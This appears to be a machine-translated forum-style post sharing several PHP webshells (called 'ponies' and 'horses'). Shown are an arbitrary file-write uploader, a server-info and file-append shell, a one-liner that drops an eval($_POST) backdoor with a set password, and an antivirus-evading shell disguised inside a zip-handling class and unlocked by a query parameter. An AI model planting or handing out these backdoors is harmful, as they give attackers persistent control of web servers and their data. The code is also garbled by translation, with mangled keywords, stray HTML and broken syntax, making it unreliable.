著者: スパイダー 私も超小型の PHP ポニーを飼っています コードをコピーします コードは次のとおりです: header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v ) $ _POST[$k] =tripslashes($v); 保存ファイル名: name= "text" COLS="70" ROWS="18" > if(isset($_POST['file'])) { $fp = @fopen($ _POST[ 'file'],'wb'); echo @fwrite($fp,$_POST['text']) '保存に失敗しました!'; fp) ; } ?> 昨夜、退屈して php のチュートリアルをいくつか見ましたが、php は本当に強力であることがわかりました。ちなみに私が書いたのはphp pony コードは以下に直接貼り付けています。 。 コードをコピーします コードは次のとおりです: 作成者: SinCoder< ;/title> ; <p class="codebody" id="code31581"><font color=red size=6>php ponyBy:SinCoder</br></font> <br><? このプログラムのパス: .__FILE__ .<BR>"</br>サーバーのオペレーティング システム: ".PHP_OS.<BR>"</br>サーバーの IP アドレス: ".gethostbyname($_SERVER["SERVER_NAME"])。 < /br>PHP バージョン: ".PHP_VERSION; <br>?> <br><フォーム アクション = <? echo strrchr(__FILE__,"\"); ?> メソッド="post"> <br> 送信するデータ: <br><textarea type="text" name="data" rows="10"cols="30"> ></br> <br>保存パス:<input type="text" name="dir" /> <br><input type="submit" value="送信" /> <br></form> <br></html> <br><? <BR>if(!(isset($_POST["data"]) && isset($_POST[ "dir "]))) <BR>exit(); <BR>if(strlen($_POST["data"])>0 && strlen($_POST["dir"])>0) <BR> { <BR>$p_File=fopen($_POST["dir"],"a"); <BR>if(!$p_File) <BR>echo "書き込みに失敗しました! ディレクトリを変更してみてください!"; else <BR>echo "OK!! "; <BR>fputs($p_File,$_POST["data"]); <BR>fclose($p_File); <BR>else <BR>echo "データを完全に入力してください。 「; <BR> <BR><?fputs(fopen(jb51.php,w),<?eval($_POST[jb51]);?>)?>以下のようにアクセスします。 その後、カレントディレクトリに <?eval($_POST[jb51]);?>)?> の内容で jb51.php を生成し、パスワードは jb51 <br><br> anti-kill php script Horse<br> <br><br><br><br>コードをコピー<br><br> コードは次のとおりです:<p class="codebody" id="code49076"> <br><?php <BR>class zip <BR>{ <BR>var $datasec, $ctrl_dir = array(); <BR>var $eof_ctrl_dir = "x50x4bx05x06x00x00x00x00"; <BR>var $old_offset = 0; var $dirs = Array("."); <BR>関数 get_List($zip_name) <BR>{ <BR>$ret = ''; <BR>$zip = @fopen($zip_name, 'rb'); <BR>if(!$zip) return(0); <BR>$centd = $this->ReadCentralDir($zip,$zip_name); <BR>@rewind($zip); <BR>@fseek($zip, $centd['offset']); <BR>for ($i=0; $i<$centd['entries']; $i ) <BR>{ <BR>$header = $this->ReadCentralFileHeaders($zip); <BR>$header['index'] = $i;$info['filename'] = $header['filename']; <BR>$info['stored_filename'] = $header['stored_filename']; <BR>$info['size'] = $header['size'];$info['compressed_size']=$header['compressed_size']; <BR>$info['crc'] = strtoupper(dechex( $header['crc'] )); <BR>$info['mtime'] = $header['mtime']; $info['コメント'] = $header['コメント']; <BR>$info['folder'] = ($header['external']==0x41FF0010||$header['external']==16)?1:0; <BR>$info['index'] = $header['index'];$info['status'] = $header['status']; <BR>$ret[]=$info; unset($header); <BR>} <BR>return $ret; <BR>} <BR>関数 Add($files,$compact) <BR>{ <BR>if(!is_array($files[0])) $files=Array($files); <BR>for($i=0;$files[$i];$i ){ <BR>$fn = $files[$i]; <BR>if(!in_Array(dirname($fn[0]),$this->dirs)) <BR>$this->add_Dir(dirname($fn[0])); <BR>if(basename($fn[0])) <BR>$ret[basename($fn[0])]=$this->add_File($fn[1],$fn[0],$コンパクト）; <BR>} <BR>return $ret; <BR>} <BR>function get_file() <BR>{ <BR>$data = implode('', $this -> datasec); <br>$ctrldir = implode('', $this -> ctrl_dir); <br>$data を返します。 $ctrldir 。 $this -> eof_ctrl_dir 。 <br>pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)). <br>pack('V', strlen($ctrldir)) 。 Pack('V', strlen($data)) 。 "x00x00"; <br>} <br>function add_dir($name) <br>{ <br>$name = str_replace("\", "/", $name); <br>$fr = "x50x4bx03x04x0ax00x00x00x00x00x00x00x00x00"; <br>$fr .= Pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); <br>$fr .= Pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0); <br>$this ->データセック[] = $fr; <br>$new_offset = strlen(implode("", $this->datasec)); <br>$cdrec = "x50x4bx01x02x00x00x0ax00x00x00x00x00x00x00x00x00"; <br>$cdrec .= Pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); <br>$cdrec .= Pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); <br>$ext = "xffxffxffxff"; <br>$cdrec .= Pack("V", 16 ).pack("V", $this -> old_offset ).$name; <br>$this -> ctrl_dir[] = $cdrec; <br>$this -> old_offset = $new_offset; <br>$this -> dirs[] = $name; <br>} <br>function add_File($data, $name, $compact = 1) <br>{ <br>$name = str_replace('\', '/', $name); <br>$dtime = dechex($this->DosTime()); <br>$hexdtime = 'x' 。 $dtime[6] 。 $dtime[7].'x'.$dtime[4] 。 $dtime[5] <br>。 'x' 。 $dtime[2] 。 $dtime[3].'x'.$dtime[0].$dtime[1]; <br>eval('$hexdtime = "' . $hexdtime . '";'); <br>if($compact) <br>$fr = "x50x4bx03x04x14x00x00x00x08x00".$hexdtime; <br>else $fr = "x50x4bx03x04x0ax00x00x00x00x00".$hexdtime; <br>$unc_len = strlen($data); $crc = crc32($data); <br>if($compact){ <br>$zdata = gzcompress($data); $c_len = strlen($zdata); <br>$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); <br>}else{ <br>$zdata = $data; <br>} <br>$c_len=strlen($zdata); <br>$fr .= Pack('V', $crc).pack('V', $c_len).pack('V', $unc_len); <br>$fr .= Pack('v', strlen($name)).pack('v', 0).$name.$zdata; <br>$fr .= Pack('V', $crc).pack('V', $c_len).pack('V', $unc_len); <br>$this ->データセック[] = $fr; <br>$new_offset = strlen(implode('', $this->datasec)); <br>if($compact) <br>$cdrec = "x50x4bx01x02x00x00x14x00x00x00x08x00"; <br>else $cdrec = "x50x4bx01x02x14x00x0ax00x00x00x00x00"; <br>$cdrec .= $hexdtime.pack('V', $crc).pack('V', $c_len).pack('V', $unc_len); <br>$cdrec .= Pack('v', strlen($name) ).pack('v', 0 ).pack('v', 0 ); <br>$cdrec .= Pack('v', 0 ).pack('v', 0 ).pack('V', 32 ); <br>$cdrec .= Pack('V', $this -> old_offset ); <br>$this -> old_offset = $new_offset; <br>$cdrec .= $name; <br>$this -> ctrl_dir[] = $cdrec; <br>true を返します。 <br>} <br>function DosTime() { <br>$timearray = getdate(); <br>if ($timearray['year'] < 1980) { <BR>$timearray['year'] = 1980; $timearray['mon'] = 1; <BR>$timearray['mday'] = 1; $timearray['時間'] = 0; <BR>$timearray['分'] = 0; $timearray['秒'] = 0; <BR>} <BR>return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['時間'] << 11) | <BR>($timearray['分'] << 5) | ($timearray['秒'] >> 1); <br>}<br>//圧縮パッケージ全体を解凍します <br>//Extract を直接使用すると、パスの問題が発生します。この関数は、Extract を実行する前に、まずリストからファイル情報を取得し、すべてのディレクトリを作成します。<br>関数 ExtractAll ( $zn, $ to) <br>{ <br>if(substr($to,-1)!="/") $to .= "/"; <br>$files = $this->get_List($zn); <br>$cn = count($files); <br>if(is_array($files)) <br>{ <br>for($i=0;$i{ <br>if($files[$i]['folder']==1){ <br>@mkdir($to.$files[$i]['filename'],$GLOBALS['cfg_dir_purview']) ; <br>@chmod($to.$files[$i]['filename'],$GLOBALS['cfg_dir_purview']); <br>} <br>} <br>} <br>$this-> ;抽出 ($zn,$to); <br>} <br>関数 抽出 ( $zn, $to, $index = Array(-1) ) <br>{ <br>$ok = 0; @fopen($zn,'rb'); <br>if(!$zip) return(-1); <br>$cdir = $this->ReadCentralDir($zip,$zn); pos_entry = $cdir['offset']; <br>if(!is_array($index)){ $index = array($index) } <br>for($i=0; isset($index[$i)] ]);$i ){ <br>if(intval($index[$i])!=$index[$i]||$index[$i]>$cdir['entries']) <br> return(-1); <br>} <br>for ($i=0; $i{ <br>@fseek($zip, $pos_entry) ; <br>$header = $this->ReadCentralFileHeaders($zip); <br>$header['index'] = $i; <br>@rewind($zip); ; fseek($zip, $header['offset']); <br>if(in_array("-1",$index)||in_array($i,$index)) <br>$stat[$header[ 'ファイル名']]=$this->ExtractFile($header, $to, $zip); <br>} <br>fclose($zip); <br>return $stat; function ReadFileHeader($zip) <br>{ <br>$binary_data = fread($zip, 30) <br>$data = unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size /Vsize/vfilename_len/vextra_len', $binary_data); <br>$header['filename'] = fread($zip, $data['filename_len']); <br>if ($data['extra_len'] ! = 0) { <br>$header['extra'] = fread($zip, $data['extra_len']); <br>} else { $header['extra'] = ''; $header['compression'] = $data['compression'];$header['size'] = $data['size']; <br>$header['compressed_size'] = $data['compressed_size'] ; <br>$header['crc'] = $data['crc']; $header['flag'] = $data['flag']; <br>$header['mdate'] = $data[ 'mdate'];$header['mtime'] = $data['mtime']; <br>if ($header['mdate'] && $header['mtime']){ <br>$hour=( $header['mtime']&0xF800)>>11;$ minutes=($header['mtime']&0x07E0)>>5; <br>$seconde=($header['mtime']&0x001F) *2;$year=(($header['mdate']&0xFE00)>>9) 1980; <br>$month=($header['mdate']&0x01E0)>>$day= $header['mdate']&0x001F; <br>$header['mtime'] = mktime($hour, $minde, $month, $day, $year); <br>}else{$header[ 'mtime'] = time();} <br>$header['stored_filename'] = $header['filename']; <br>$header['status'] = "ok"; <br>return $header ; <br>} <br>function ReadCentralFileHeaders($zip){ <br>$binary_data = fread($zip, 46); <br>$header = unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/ vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset', $binary_data); <br>if ($header['filename_len'] != 0) <br>$header ['ファイル名'] = fread($zip,$header['ファイル名_len']); <br>else $header['ファイル名'] = ''; <br>if ($header['extra_len'] != 0) ) <br>$header['extra'] = fread($zip, $header['extra_len']); <br>else $header['extra'] = ''; comment_len'] != 0) <br>$header['comment'] = fread($zip, $header['comment_len']); <br>else $header['comment'] = ''; if ($header['mdate'] && $header['mtime']) <br>{ <br>$hour = ($header['mtime'] & 0xF800) >> = ($header['mtime'] & 0x07E0) >> <br>$秒 = ($header['mtime'] & 0x001F)*2; mdate'] & 0xFE00) >> 9) <br>$month = ($header['mdate'] >> 5; & 0x001F; <br>$header['mtime'] = mktime($hour, $nute, $month, $day, $year); else { <br>$header['mtime' ] = 時間(); <br>$header['stored_filename'] = $header['status'] = 'ok'; ($header['filename'], -1) == '/') <br>$header['external'] = 0x41FF0010; <br>return $header; <br>} <br>function ReadCentralDir($zip) ,$zip_name) <br>{ <br>$size = filesize($zip_name); <br>if ($size else $maximum_size=277; fseek($zip, $size-$maximum_size); <br>$pos = ftell($zip); $bytes = 0x00000000; <br>{ <br>$byte = @fread($zip, 1); $bytes = ($bytes << 8); $bytes == 0x504b0506 } $pos ; <BR>}<BR>$data = @unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size',fread($zip, 18)); <BR>if ($data['comment_size'] != 0) $centd['comment'] = fread($zip, $data['comment_size']); <BR>else $centd['comment'] = ''; $centd['entries'] = $data['entries']; <BR>$centd['disk_entries'] = $data['disk_entries']; <BR>$centd['offset'] = $data['offset'];$centd['disk_start'] = $data['disk_start']; <BR>$centd['サイズ'] = $data['サイズ']; $centd['ディスク'] = $data['ディスク']; <BR>$centd を返す; <BR>} <BR>function ExtractFile($header,$to,$zip) <BR>{ <BR>$header = $this->readfileheader($zip); <BR>$header['external'] = (!isset($header['external']) ? 0 : $header['external']); <BR>if(substr($to,-1)!="/") $to.="/"; <BR>if(!@is_dir($to)) @mkdir($to,$GLOBALS['cfg_dir_purview']); <BR>if (!($header['external']==0x41FF0010)&&!($header['external']==16)) <BR>{ <BR>if ($header['compression']= =0) <BR>{ <BR>$fp = @fopen($to.$header['ファイル名'], 'wb'); <BR>if(!$fp) return(-1); <BR>$size = $header['compressed_size']; <BR>while ($size != 0) <BR>{ <BR>$read_size = ($size < 2048 ? $size : 2048); <BR>$buffer = fread($zip, $read_size); <BR>$binary_data = Pack('a'.$read_size, $buffer); <BR>@fwrite($fp, $binary_data, $read_size); <BR>$size -= $read_size; <BR>} <BR>fclose($fp); <BR>touch($to.$header['filename'], $header['mtime']); <BR>}else{ <BR>$fp = @fopen($to.$header['filename'].'.gz','wb'); <BR>if(!$fp) return(-1); <BR>$binary_data = Pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']), <BR>Chr(0x00), time(), Chr(0x00), Chr(3)); <BR>fwrite($fp, $binary_data, 10); <BR>$size = $header['compressed_size']; <BR>while ($size != 0) <BR>{ <BR>$read_size = ($size < 1024 ? $size : 1024); <BR>$buffer = fread($zip, $read_size); <BR>$binary_data = Pack('a'.$read_size, $buffer); <BR>@fwrite($fp, $binary_data, $read_size); <BR>$size -= $read_size; <BR>} <BR>$binary_data = Pack('VV', $header['crc'], $header['size']); <BR>fwrite($fp, $binary_data,8); fclose($fp); <BR>$gzp = @gzopen($to.$header['filename'].'.gz','rb') または die("Cette archive est compress"); <BR>if(!$gzp) return(-2); <BR>$fp = @fopen($to.$header['filename'],'wb'); <BR>if(!$fp) return(-1); <BR>$size = $header['size']; <BR>while ($size != 0) <BR>{ <BR>$read_size = ($size < 2048 ? $size : 2048); <BR>$buffer = gzread($gzp, $read_size); <BR>$binary_data = Pack('a'.$read_size, $buffer); <BR>@fwrite($fp, $binary_data, $read_size); <BR>$size -= $read_size; <BR>} <BR>fclose($fp); gzclose($gzp); <BR>touch($to.$header['filename'], $header['mtime']); <BR>@unlink($to.$header['ファイル名'].'.gz'); <BR>}} <BR>true を返します。 <BR>} <BR>} <BR>if($_GET['zxzgcn']=='login'){ <BR>header("content-Type: text/html; charset=gb2312"); <BR>if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] =tripslashes($v); <br>?> <br><フォームメソッド="POST"> <br>保存先: <input type="text" name="file" size="60" value="<? echo str_replace('\','/',__FILE__) ?>"> <br><br><br> <br><textarea name="text" COLS="70" ROWS="18" ></textarea> <br><br><br> <br><input type="submit" name="submit" value="save"> <br> <br><?php <br>if(isset($_POST['file'])) <br>{ <br>$fp = @fopen($_POST['file'],'wb'); <br>echo @fwrite($fp,$_POST['text']) ? 「成功しました！」 : 「落ちた!」; <br>@fclose($fp); <br>} <br>} <br>?> <br></p> <br>用法xxx.php?zxzgcn=login
